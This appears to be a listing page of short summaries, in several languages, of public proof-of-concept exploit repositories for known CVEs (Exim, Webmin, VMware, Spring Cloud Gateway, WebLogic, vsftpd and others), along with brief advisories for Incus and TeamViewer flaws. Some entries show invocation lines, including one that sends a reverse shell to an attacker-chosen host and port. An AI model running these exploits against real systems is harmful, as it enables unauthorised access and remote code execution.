PoC--CVE-2019-10149_Exim

PoC-CVE-2019-10149Exim MNEMO-CERT ha sviluppato una PoC che consente di eseguire comandi con privilegi elevati sfruttando la vulnerabilità CVE-2019-10149, che affligge diverse versioni di Exim 4.87 - 4.91. Per lo sfruttamento locale di questa vulnerabilità è necessario definire il comando che si...

CVE-2022-22954

CVE-2022-22954 CVE-2022-22954 VMware Workspace ONE Access freemarker SSTI Erkennung mehrerer Schwachstellenauslösepunkte, mehrthreadige Stapelerkennung, Befehlsausführung, Dateischreiben root@kitploit: // Single target vulnerability detection python CVE-2022-22954.py -u https://x.x.x.x // Command...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL تعبير حقن تنفيذ الأوامر Exp استخدام：python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami" النتيجة： إضافة مسار تعبير SpEL خبيث ناجحة! تحديث المسار ناجح! الحصول على نتيجة الهجوم ناجح: ================================================ root...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC standalone per CVE-2019-12840. Di seguito verrà inviata una reverse shell sulla porta 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ /...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution Script che sfrutta la vulnerabilità del servizio ProFTP 1.3.5 con CVE-2015-3306 Utilizzo .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2012-2982

CVE-2012-2982 John Hammond | 4 settembre 2021 Controllando searchsploit per Webmin 1.580 ho visto solo un modulo Metasploit per l'attacco di esecuzione remota di codice su /file/show.cgi in quella versione legacy di Webmin. Questo codice è un tentativo di ricrearlo in Python senza usare Metasploi...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 Exploit per CVE:2010-2075. Questo exploit consente l'esecuzione remota di comandi in UnrealIRCd 3.2.8.1. Requisiti optparse, signal Utilizzo Puoi inviare un comando da eseguire, ma ci saranno momenti in cui non risponderà; in tal caso, puoi semplicemente inviare una reverse shell e...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection Una vulnerabilità, classificata come molto critica, è stata trovata in VMware Workspace ONE Access e Identity Manager. Il componente interessato è Template Handler. Riferimento: https://vuldb.com/?id.196644...

tapodate

tapodate Usa https://github.com/hacefresko/CVE-2021-4045 exploit per impostare la data e altri comandi su una Tapo C200 offline...

CVE-2020-14882

CVE-2020-14882 Questo script consente l'esecuzione remota di codice RCE su Oracle WebLogic Server utilizzando una richiesta GET non autenticata. Sfrutta la vulnerabilità CVE-2020-14882. Eseguendo comandi arbitrari, un attaccante può ottenere accesso non autorizzato al server. Dettagli dell'exploi...

CVE-2026-63125

A flaw was found in Incus, a container and virtual machine manager. A crafted container image can trick the daemon into writing to arbitrary host files via a symlink in backup.yaml, potentially leading to root-level command execution on the host. Mitigation No mitigation is needed as Incus is not...

CVE-2026-48769

A flaw was found in Incus, a container and virtual machine manager. A malicious image server can cause the Incus client to write files to arbitrary locations via a crafted response header, potentially leading to command execution as root. Mitigation No mitigation is needed as Incus is not shipped...

CVE-2026-48755

A flaw was found in Incus, a container and virtual machine manager. Improper validation of backup compression settings allows argument injection, leading to arbitrary file write on the host and potential command execution. Mitigation No mitigation is needed as Incus is not shipped in any Red Hat...

CVE-2026-48751

A flaw was found in Incus, a container and virtual machine manager. Instance snapshots do not enforce container restriction settings, allowing a user to execute arbitrary commands on the server through lowlevel hooks. Mitigation No mitigation is needed as Incus is not shipped in any Red Hat produ...

CVE-2026-48750

A flaw was found in Incus, a container and virtual machine manager. A crafted container image can cause the host to write files to arbitrary locations via a symlink, potentially leading to command execution as root on the host. Mitigation No mitigation is needed as Incus is not shipped in any Red...

CVE-2026-48749

A flaw was found in Incus, a container and virtual machine manager. A crafted container image can use a symlink in the rootfs directory to read or write arbitrary files on the host, potentially leading to command execution. Mitigation No mitigation is needed as Incus is not shipped in any Red Hat...

CVE-2026-19042 Command Injection in TeamViewer Desktop Client for Linux through Chat Link Handling

A command injection vulnerability in TeamViewer Full Client and Host for Linux prior to version 15.81.5 allows a remote attacker to execute arbitrary commands in the context of the current user via a specially crafted URL sent through the out-of-session chat feature. Exploitation requires user...

CVE-2026-19042

A command injection vulnerability in TeamViewer Full Client and Host for Linux prior to version 15.81.5 allows a remote attacker to execute arbitrary commands in the context of the current user. The attack is delivered through a specially crafted URL sent via the out-of-session chat feature, requ...

CVE-2025-49132-poc

CVE-2025-49132-poc Ho realizzato questo PoC per CVE-2025-49132, perché era interessante da sviluppare e fa parte di una challenge sulla mia piattaforma cyber deepreview ! Questa CVE sfrutta una vulnerabilità di inclusione di file che può essere escalata a esecuzione di codice remoto con lo script...

CVE-2011-2523

CVE-2011-2523 Ausnutzung 🚀 Verwendung Dieses POC-Skript ermöglicht es Ihnen, die CVE-2011-2523 VsFTPd 2.3.4 Backdoor Command Execution auszunutzen. Hilfe ⚒️ Installation root@kitploit: git clone https://github.com/ByteForgeFr/CVE-2011-2523 cd CVE-2011-2523 Install the needed requirements pip...